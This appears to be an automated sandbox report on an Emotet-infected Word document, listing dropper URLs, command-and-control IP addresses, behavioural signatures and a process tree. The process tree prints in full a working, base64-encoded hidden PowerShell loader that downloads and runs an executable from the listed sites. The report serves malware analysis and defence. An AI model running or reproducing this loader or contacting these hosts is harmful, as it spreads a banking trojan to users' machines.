Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    133s
  • resource
    win7v191014
  • submitted
    18-12-2019 15:53

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_7dac2a66623818161fa64d5a660f0c66.3

  • Sample

    191218-m9m54ey5de

  • SHA256

    1d0b57de31383d7eaa7f826998756982034711ada3fd951dae16ca8c338107b2

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.meee-designbuild.com/wp-content/vs718/
exe.dropper

https://cardesign-analytics.com/messagelist/wdi9/
exe.dropper

https://www.danytex.com/cgi-bin/c5b2ze315/
exe.dropper

http://nexusfantasy.com/rxmu/eebmh133/
exe.dropper

http://basic.woo-wa.com/lwral/wz87053/

Extracted

Family

emotet

C2

63.248.198.8:80

189.19.81.181:443

130.204.247.253:80

96.126.121.64:443

104.236.137.72:8080

85.234.143.94:8080

51.255.165.160:8080

118.36.70.245:80

190.210.184.138:995

188.135.15.49:80

139.162.118.88:8080

72.29.55.174:80

68.183.170.114:8080

181.231.62.54:80

192.241.146.84:8080

71.76.45.83:443

63.246.252.234:80

37.211.49.127:80

74.59.187.94:80

5.88.27.67:8080
rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Drops file in System32 directory 6 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Modifies registry class 144 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_7dac2a66623818161fa64d5a660f0c66.3.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:1508
  • C:\Windows\SYSTEM32\WISPTIS.EXE
    /QuitInfo:000000000000062C;0000000000000608;
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:2032
  • C:\Windows\SYSTEM32\WISPTIS.EXE
    /QuitInfo:000000000000062C;0000000000000608;
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:596
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABHAHYAZQBwAHkAYwBsAHYAPQAnAEgAcwB3AHIAaAB2AG8AcgBpAGQAbwBsACcAOwAkAEUAdgB6AGkAYwBxAGEAaQB3AHYAbQB0AG8AIAA9ACAAJwAxADUAMwAnADsAJABGAGMAbgByAG4AcABxAGwAegBlAG4APQAnAFoAdQB0AGEAaQBvAHYAeQBlAHEAcAB6ACcAOwAkAE0AegBqAGYAbgBhAGwAagBvAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAdgB6AGkAYwBxAGEAaQB3AHYAbQB0AG8AKwAnAC4AZQB4AGUAJwA7ACQARwB5AG0AdgByAGcAegBzAD0AJwBEAGUAZQByAGgAdwBtAHQAbAB1AHMAbgBrACcAOwAkAE0AcAB4AHgAbABuAGUAagBpAHUAawA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgB3AGUAQgBjAGwASQBlAG4AVAA7ACQASQBlAHYAZQBtAHYAaQBxAGQAbQBnAHcAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AZQBlAGUALQBkAGUAcwBpAGcAbgBiAHUAaQBsAGQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB2AHMANwAxADgALwAqAGgAdAB0AHAAcwA6AC8ALwBjAGEAcgBkAGUAcwBpAGcAbgAtAGEAbgBhAGwAeQB0AGkAYwBzAC4AYwBvAG0ALwBtAGUAcwBzAGEAZwBlAGwAaQBzAHQALwB3AGQAaQA5AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAGEAbgB5AHQAZQB4AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AYwA1AGIAMgB6AGUAMwAxADUALwAqAGgAdAB0AHAAOgAvAC8AbgBlAHgAdQBzAGYAYQBuAHQAYQBzAHkALgBjAG8AbQAvAHIAeABtAHUALwBlAGUAYgBtAGgAMQAzADMALwAqAGgAdAB0AHAAOgAvAC8AYgBhAHMAaQBjAC4AdwBvAG8ALQB3AGEALgBjAG8AbQAvAGwAdwByAGEAbAAvAHcAegA4ADcAMAA1ADMALwAnAC4AIgBTAGAAUABMAEkAVAAiACgAJwAqACcAKQA7ACQAUABjAHIAYgBsAHgAcgBvAD0AJwBNAG4AaQB2AGQAdQBoAHUAdQB3ACcAOwBmAG8AcgBlAGEAYwBoACgAJABKAHgAbwBmAGgAagBsAG0AYQBnAGcAIABpAG4AIAAkAEkAZQB2AGUAbQB2AGkAcQBkAG0AZwB3ACkAewB0AHIAeQB7ACQATQBwAHgAeABsAG4AZQBqAGkAdQBrAC4AIgBEAE8AVwBgAE4AbABPAEEARABGAGAASQBMAGUAIgAoACQASgB4AG8AZgBoAGoAbABtAGEAZwBnACwAIAAkAE0AegBqAGYAbgBhAGwAagBvAGoAKQA7ACQARABxAGkAZAB3AG8AZQBqAHQAbwA9ACcAQwBlAGkAcQBvAGEAbQBwAHIAaAB1AGoAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABNAHoAagBmAG4AYQBsAGoAbwBqACkALgAiAEwAZQBgAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADMAMAA3ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwBgAFQAYQByAFQAIgAoACQATQB6AGoAZgBuAGEAbABqAG8AagApADsAJABBAGwAdABwAHIAeQBmAHkAYQA9ACcAQgBkAGsAZABxAHkAbwBwAHQAJwA7AGIAcgBlAGEAawA7ACQAUQBmAHUAawBvAHMAdgB3AHoAegA9ACcARAB4AHoAeQBoAHUAdwBmAGkAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBqAGUAbgByAHcAdQBvAGUAPQAnAFYAbgB2AGgAagBuAGQAZAB0AGgAZAAnAA==
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    PID:1372
    • C:\Users\Admin\153.exe
      "C:\Users\Admin\153.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1380
      • C:\Users\Admin\153.exe
        --2934414d
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Drops file in System32 directory
        • Suspicious use of SetWindowsHookEx
        PID:744
  • C:\Windows\SysWOW64\acquireipmi.exe
    "C:\Windows\SysWOW64\acquireipmi.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:1356
    • C:\Windows\SysWOW64\acquireipmi.exe
      --ebb390f
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious behavior: EmotetMutantsSpam
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      PID:1892

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/744-8-0x0000000000310000-0x0000000000327000-memory.dmp

    Filesize

    92KB

    Download

  • memory/744-9-0x0000000000400000-0x00000000004C1000-memory.dmp

    Filesize

    772KB

    Download

  • memory/1356-11-0x0000000000260000-0x0000000000277000-memory.dmp

    Filesize

    92KB

    Download

  • memory/1380-6-0x00000000003C0000-0x00000000003D7000-memory.dmp

    Filesize

    92KB

    Download

  • memory/1508-2-0x0000000009810000-0x0000000009814000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1508-1-0x0000000006A49000-0x0000000006A4D000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1508-0-0x0000000006910000-0x0000000006914000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1892-14-0x0000000000400000-0x00000000004C1000-memory.dmp

    Filesize

    772KB

    Download